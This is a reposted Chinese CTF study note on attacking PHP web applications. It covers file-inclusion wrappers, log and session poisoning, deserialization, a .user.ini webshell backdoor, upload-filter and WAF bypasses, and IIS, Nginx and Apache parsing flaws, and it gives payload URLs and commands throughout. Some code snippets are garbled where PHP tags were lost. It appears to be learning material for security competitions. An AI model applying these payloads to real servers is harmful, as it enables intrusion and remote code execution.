ctf笔记:PHP 博客链接:https://www.blog.23day.site/articles/80 语法 攻防世界:easy_php == 攻防世界:simple_php $a
博客链接:https://www.blog.23day.site/articles/80
攻防世界:easy_php
攻防世界:simple_php
php文件包含漏洞主要由于四个函数引起的:
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析
$file = $_GET['file'];include $file;?>
在同目录下有个phpinfo.txt,其内容为 phpinfo(); ?>
。则只需要访问:index.php?file=phpinfo.txt
,即可成功解析phpinfo。
本地文件包含漏洞,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。简单的测试用例如前所示。
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置
两个配置选项均需要为On,才能远程包含文件成功。
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off
php://input
可以获取POST的数据流,当它与包含函数(include、require等)结合时,php://input流会被当作php⽂件执⾏,从⽽导致任意代码执⾏。
利用条件:
index.php?file=php://inputPOST: phpinfo();?>// php://input利用文件包含写入shell
攻防世界:fileinclude
攻防世界:fileinclude
攻防世界:file_include
php://filter可以获取指定⽂件源码,当它与包含函数结合时,php://filter流会被当作php⽂件执⾏。所以我们⼀般对其进⾏编码,让其不执⾏,从⽽导致任意⽂件读取。
利用条件:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php//效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。index.php?file=php://filter/convert.base64-encode/resource=index.php
通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
php://filter包含下列参数:
过滤器我们分为
转换过滤器
convert.base64
我们可以使⽤ convert.base64-encode 或 convert.base64-decode 来进⾏base64编码或解码。这样我们直接包含php⽂件时,php代码部分会执⾏,我们⽆法得到源码,⽽使⽤此过滤器则可将代码先进性base64编码,我们得到之后再进⾏base64解码,这样就能得到源码了
convert.quoted-printable
使⽤ convert.quoted-printable-encode 或 convert.quoted.printable-decode 来进⾏ quoted-printable 编码或解码,⽤法和base64类似
convert.iconv.*
convert.iconv..convert.iconv./
php支持的编码格式(部分)
UCS-4*UCS-4BEUCS-4LE*UCS-2UCS-2BEUCS-2LEUTF-32*UTF-32BE*UTF-32LE*UTF-16*UTF-16BE*UTF-16LE*UTF-7UTF7-IMAPUTF-8*ASCII*EUC-JP*SJIS*eucJP-win*SJIS-win*ISO-2022-JPISO-2022-JP-MSCP932CP51932
例如:convert.iconv.UCS-4*.UCS-4BE —> 将指定的文件从UCS-4*转换为UCS-4BE 输出
字符串过滤器
rot13
使⽤ string.rot13 来对字符串内容进⾏ rot13 编码
ROT13编码是把每一个字母在字母表中向前移动13个字母得到。数字和非字母字符保持不变。
toupper
使⽤ string.toupper 来将字符串内容变⼤写
tolower
使⽤ string.tolower 来将字符串内容变⼩写
strip_tags
使⽤ string.strip_tags 将字符串中的空字符,html和PHP标记去除。
压缩过滤器
加密过滤器
利用条件:PHP版本大于5.3.0
这两个方法都可以解析zip压缩文件里面的文件内容并当做脚本执行
假设test.zip里面有个文件为phpinfo.txt,解析执行phpinfo.txt的方法有:
index.php?file=phar:///www/..../test.zip/phpinfo.txt (phar://绝对路径)index.php?file=phar://test.zip/phpinfo.txt (phar://相对路径)index.php?file=zip:///www/.../test.zip/phpinfo.txt (zip必须是绝对路径)
利用条件
常用格式
index.php?file=data:URL,index.php?file=data:URL;base64,PD9waHAGCGhwaW5mbygpOz8%2b//加号+的url编码为%2b,PD9waHAgcGhwaW5mbygpOz8+的base64解码为:index.php?file=data://text/plain,
条件:session文件路径已知,且其中内容部分可控(php的session文件的保存路径可以在phpinfo的session.save_path看到)
常见session文件路径
session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。
实现条件:需要知道服务器日志的存储路径,且日志文件可读。
web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。
但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。
正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。
在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含
利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
ssh ''@<remote host>
之后会提示输入密码,然后在remotehost的ssh-log中即可写入php代码,之后进行文件包含即可。
利用条件:
proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它即可。
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可
类似利用临时文件的存在,竞争时间去包含的
在日常情况下,碰到的可能是如下这种有前缀又有后缀的情况
$file = $_GET['file'];include '/var/www/html/'.$file.'/test/test.php';?>
考虑这种只有前缀的情况
$file = $_GET['file'];include '/var/www/html/'.$file;?>
现在在/var/log/test.txt文件中有php代码,则利用…/可以进行目录遍历,比如我们尝试访问:
include.php?file=../../log/test.txt
则服务器端实际拼接出来的路径为:/var/www/html/…/…/log/test.txt,也即/var/log/test.txt。从而包含成功。
接着考虑指定后缀的情况。测试代码:
$file = $_GET['file'];include $file.'/test/test.php';?>
url格式
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制
query(?)绕过
index.php?file=Http://remoteaddr/remoteinfo.txt?
则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
问号后面的部分/test/test.php
,也就是指定的后缀被当作query从而被绕过。
fragment(#)绕过
index.php?file=http://remoteaddr/remoteinfo.txt%23
则包含的文件为 http://remoteaddr/remoteinfo.txt#/test/test.php
问号后面的部分/test/test.php
,也就是指定的后缀被当作fragment从而被绕过。注意需要把#
进行url编码为%23
。
前面有提到过利用zip协议和phar协议。假设现在测试代码为:
$file = $_GET['file'];include $file.'/test/test.php';?>
构造压缩包,其中test.php内容为:
利用zip协议,注意要指定绝对路径
index.php?file=zip:///www/fileinclude/chybeta.zip%23chybeta
则拼接后为:zip:/www/fileinclude/chybeta.zip#chybeta/test/test.php
利用条件: php版本 < php 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
index.php?file=././././。。。。。。././shell.txt
则后缀/test/test.php
,在达到最大值后会被直接丢弃掉
利用条件: php版本 < php 5.3.4
index.php?file=phpinfo.txt%00
能利用00截断的场景现在应该很少了
攻防世界:warmup
参数有/../../../../
这样的路径,所以符合最后一段话如果定义了路径,就会忽略/
前的字符串而找/../../../../ffffllllaaaagggg
这个文件
序列化实际是为了传输的方便,以整个对象为单位进行传输, 而序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
序列化
<?phpclass User{ public $age = 0; public $name = ''; public function PrintData() { echo 'User '.$this->name.'is'.$this->age.'years old.
'; }}//创建一个对象$user = new User();// 设置数据$user->age = 20;$user->name = 'daye';//输出数据$user->PrintData();//输出序列化之后的数据echo serialize($user);?>
User dayeis20years old.
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
序列化字符串解释
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
对象类型
反序列化
class User{ public $age = 0; public $name = ''; public function PrintData() { echo 'User '.$this->name.' is '.$this->age.' years old.
'; }}//重建对象$user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}');$user->PrintData();?>
User daye is 20 years old.
魔术方法
empty
()触发漏洞利用
当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。
利用条件
攻防世界:Web-php-unserialize
CVE-2016-7124
当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。
.htaccess 文件生效前提条件为:
原理:
php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM
、PHP_INI_PERDIR
、PHP_INI_ALL
、PHP_INI_USER
。
其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT']
所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini
风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
这里就很清楚了,.user.ini
实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)
实际上,除了PHP_INI_SYSTEM
以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。
而且,和php.ini
不同的是,.user.ini
是一个能被动态加载的ini文件。也就是说我修改了.user.ini
后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl
所设置的时间(默认为300秒),即可被重新加载。
然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM
模式的(甚至是php.ini only的),包括disable_functions
、extension_dir
、enable_dl
等。 不过,我们可以很容易地借助.user.ini
文件来构造一个“后门”。
Php配置项中有两个比较有意思的项(下图第一、四个):
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xobVt7tE-1671183312067)(img/ctf-web-php/2014103002272554789.png)]
auto_append_file
、auto_prepend_file
,点开看看什么意思:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z1ykRh9k-1671183312068)(img/ctf-web-php/2014103002272569525.png)]
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。
利用
上传.user.ini:auto_prepend_file=1.gif # 要访问的文件加载之前加载auto_append_file=1.gif # 要访问的文件加载之后加载上传一个包含webshell代码的1.gif:GIF98A 访问本目录下任意文件附带参数?a=xxx 就可以实现命令执行?a=system('whoami');
点绕过:windows会对文件中的点进行自动去除,所以可以在文件末尾加点绕过 .php.
空格绕过:filename=.php
<- 最后加个空格
后缀双写绕过:./pphphp
后缀大小写绕过:.PHP
%00绕过:%00截断 .php%00
0x00绕过:还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。
::$DATA:windows特性,可在后缀名中加” ::$DATA”绕过
文件类型 | 文件头 | 文件尾 |
---|---|---|
JPEG (jpg) | FFD8FF | FF D9 |
PNG (png) | 89504E47 | AE 42 60 82 |
GIF (gif) | 47494638 | 00 3B |
ZIP ArcHive (zip) | 504B0304 | 50 4B |
TIFF (tif) | 49492A00 | |
Windows Bitmap (bmp) | 424D | |
CAD (dwg) | 41433130 | |
Adobe Photoshop (psd) | 38425053 | |
Rich Text FORMat (rtf) | 7B5C727466 | |
XML (xml) | 3C3F786D6C | |
HTML (html) | 68746D6C3E | |
Email [thorough only] (eml) | 44656C69766572792D646174653A |
绕过方法:
木马文件中插入允许上传的文件类型的文件头
如gifGIF98A
生成图片马
copy 1.jpg/b + 1.php/a 2.jpg
b表示二进制文件 a表示ASCII文件
在把输出结果传送到浏览器上的时候,浏览器必须启动应用程序来处理这个输出文档。这可以通过多种类型MIME(多功能网际邮件扩充协议)来完成。
在HTTP中,MIME类型被定义在Content-Type header中。
常见的MIME类型:
正常上传木马文件,burp抓包修改 Content-Type:image/jpg 等
上传gif图片:先将普通的gif图片上传,会被渲染,渲染之后再下载下来,与原git图片对比,找到渲染前后没有变化的位置,然后在这些位置插入php一句话,再上传即可。
上传jpg、png图片:这两种格式图片的二次渲染绕过要难很多很多:png(索引类型图,写入 PLTE 数据块或写入IDAT数据块),jpg(成功性不大) https://xz.aliyun.com/t/2657#toc-3
由于代码逻辑问题,其先将我们上传的图片保存,然后再进行处理,删除原图片,因此我们可以利用条件竞争,在我们上传的图片马被删除之前触发它。
方法:
利用burp不断发包,不断触发
’); ?>
通过寻找域名真实IP,使用真实IP进行文件上传,绕过waf限制
例如:
传shell时发现存在某云WAF,需进一步绕过
通过寻找域名真实IP,使用真实IP进行文件上传,绕过waf限制
WAF如何拦截:
目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。
绕过
获取文件名的地方在Content-Disposition: form-data; name=“file_x”; filename="xx.php"和Content-Type里,所以绕过的地方也就在这两个地方了。
去掉引号
双引号变单引号
多加一个引号
大小写
对这三个固定的字符串进行大小写转换
比如name转换成Name,Content-Disposition转换成content-disposition。
空格
在: ; =添加1个或者多个空格,不过测试只有filename在=前面添加空格,上传失败。
在filename=后面添加空格上传成功
去掉或修改Content-Disposition值
有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。
删掉content-type
交换name和filename的顺序
规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。
有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass:
Content-Disposition: form-data; filename="xx.php"; name=file_x
多个boundary
最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。
多个filename
最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。
多个分号
文件解析时,可能解析不到文件名,导致绕过。
header头,Content-Type : multipart/form-DATA
这种绕过应该很少,大多数都会忽略大小写。php和java都支持。
header头在boundary前添加任意字符
php支持,java不支持
filename换行
filename文件名添加单引号(‘)分号(;)等
filename==”hh’ h.php”
filename=”hh;h.php”
filename或者filename=绕过
name 和filename之间添加任意字符或者是大量字符
form-data用+拼接
Content-Disposition:*
filename="1.jpg .Php"类似这种的各种尝试
正常情况下,在返回包中可以找到文件上传路径,如果未返回路径或找不到,可以尝试以下方法:
有些时候改名字的Wordpress插件,编辑器等等,就可以通过这种方式发现
返回了一些参数但不包括路径的情况,比如file_id 等等,那么文件路径可能存储在数据库中,可以结合sql注入 sqlmap的–search -C参数找到字段和值
什么都没返回的情况,只返回了ok,true等等。重新加载,抓包看响应,或许某个接口的响应就包括对应的路径。
比如头像位置上传上去了,但是没有返回路径,那么想办法让他在加载一遍,比如退出重新登陆,一个包一个包的放。可能有些包的响应中就包含路径。
另外可能存在其他服务器、或者其他站点的其他路径,也是抓包查看,看一下加载过程的路径在哪或者看一下html、js
只返回了文件名,没有路径
一种是fuzz,看其他同类型文件的路径,f12或者如果有文件下载的地方,下载抓包,看文件地址。
另一种是 尝试上传的时候目录穿越,一次一次尝试,看能否穿到站点根目录或者知道的目录下面。修改不如表单的其他参数、或者filename参数的值
尝试访问日志文件,看能否发现一些敏感目录或上传目录
上传上去没有访问直接下载,当前文件夹没有执行权限
这种情况,尝试目录穿越的方式,穿到其他目录下,比如根目录,来绕过限制
…/->%C0%AE%C0%AE/
/…/ …\
文件解析漏洞主要由于网站管理员操作不当或者 Web 服务器自身的漏洞,导致一些特殊文件被 IIS、apache、Nginx 或其他 Web服务器在某种情况下解释成脚本文件执行。
比如网站管理员配置不当,导致php2、phtml、ascx等等这些文件也被当成脚本文件执行了。甚至某些情况下管理员错误的服务器配置导致.html、.xml等静态页面后缀的文件也被当成脚本文件执行。
但是,大部分的解析漏洞还是由于web服务器自身的漏洞,导致特殊文件被当成脚本文件执行了。
在 IIS5.x/6.0 中,在网站下建立文件夹的名字为*.asp、.asa、.cer、*.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管上传后你的图片改不改名都能拿shell了
在 IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 .asp;.jpg、.asa;.jpg、*.cer;.jpg 后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。
微软发布了IIS7.0修补了IIS6.0的解析漏洞,没想到IIS7.0爆出更严重的畸形解析漏洞,于是微软急忙发布了IIS7.5
在 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码
’); ?>
将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会神奇的发现在 /upload 目录下创建了一个一句话木马文件 shell.php 。
在windows环境下,xx.jpg[空格] 或 xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点都会被windows自动消除。
漏洞原因:
php的配置文件 php.ini 文件中开启了 cgi.fix_pathinfo
/etc/php5/fpm/pool.d/www.conf
中不正确的配置security.limit_extensions
,导致允许将其他格式文件作为php解析执行
在nginx<0.8.03环境中,我们新建一个文件,内容为: ,然后将其名字修改为: test.jpg
在浏览器中访问 http://192.168.10.139/test.jpg 显示图片解析错误。在浏览器中访问 http://192.168.10.139/test.jpg/test.php ,显示:Access denied. 。这就奇怪了,test.jpg是文件不是目录,test.php更是根本就不存在的文件,访问/test.jpg/test.php没有报404,而是显示 Access denied. 。
原因在于,Nginx拿到文件路径(更专业的说法是URI)/test.jpg/test.php 后,一看后缀是.php,便认为该文件是php文件,于是转交给php去处理。php一看 /test.jpg/test.php 不存在,便删去最后的/test.php,又看/test.jpg存在,便把/test.jpg当成要执行的文件了,又因为后缀为.jpg,php认为这不是php文件,于是返回 Access denied
这其中涉及到php的一个选项:cgi.fix_pathinfo,该值默认为1,表示开启。是这对文件路径进行处理。举个例子,当 php 遇到文件路径 /aaa.xxx/bbb.yyy/ccc.zzz 时,若 /aaa.xxx/bbb.yyy/ccc.zzz 不存在,则会去掉最后的 /ccc.zzz ,然后判断 /aaa.xxx/bbb.yyy 是否存在,若存在,则把 /aaa.xxx/bbb.yyy 当做文件 /aaa.xxx/bbb.yyy/ccc.zzz ,若 /aaa.xxx/bbb.yyy 仍不存在,则继续去掉 /bbb.yyy ,以此类推。
该选项在配置文件 php.ini 中。若是关闭该选项,访问 http://127.0.0.1/test.jpg/test.php 只会返回找不到文件。但关闭该选项很可能会导致一些其他错误,所以一般默认是开启的。
但是目前我们还没能成功执行代码,test.jpg 没有当成php文件执行,只是返回了 Access denied ,因为新版本的php引入了security.limit_extensions ,限制了可执行文件的后缀,默认只允许执行.php文件。
这一漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于security.limit_extensions 的引入,使得该漏洞难以被成功利用。
为何是Nginx中的php才会有这一问题呢?因为Nginx只要一看URL中路径名以.php结尾,便不管该文件是否存在,直接交给php处理。而如Apache等,会先看该文件是否存在,若存在则再决定该如何处理。cgi.fix_pathinfo是php具有的,若在php前便已正确判断了文件是否存在,cgi.fix_pathinfo便派不上用场了,这一问题自然也就不存在了。(IIS在这一点和Nginx是一样的,同样存在这一问题)
原理:Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
在以下版本的nginx中,我们在图片中嵌入PHP代码然后通过访问 xxx.jpg%00.php 来执行其中的代码
影响nginx版本:nginx 0.8.41 ~ 1.5.6
这一漏洞的原理是非法字符空格和截止符(%00)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。是什么意思呢?举个例子,假设服务器上存在文件:“file.jpg ”,注意文件名的最后一个字符是空格。则可以通过访问:
http://127.0.0.1/file.jpg \0.php
让Nginx认为文件“file.jpg ”的后缀为“.php”
但是由于 security.limit_extensions 的存在,导致我们并不能利用此漏洞
apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断。比如 xie.php.owf.rar .owf和.rar 这两种后缀是apache不可识别的解析,apache就会把xie.php.owf.rar解析成 xie.php 。如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个 xie.php.rara.jpg.png…(把你知道的后缀都写上去)去测试是否是合法后缀。任意不识别的后缀,逐级向上识别。
计算机世界自开天辟地以来,便自由多彩。还记得mime.types文件吗?在该文件中搜索“php”这三个字母,结果如下所示:
还记得正则表达式”.+.ph(p[345]?|t|tml)$”吗,该正则表达式匹配的不仅仅有php,还有php3、php4、php5、pht和phtml。
不仅php,就连phtml、pht、php3、php4和php5都是Apache和php认可的php程序的文件后缀。
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。
.htaccess 文件生效前提条件为:
来源地址:https://blog.csdn.net/TengChuanB/article/details/128345869
--结束END--
本文标题: ctf笔记:php
本文链接: https://lsjlt.com/news/385252.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0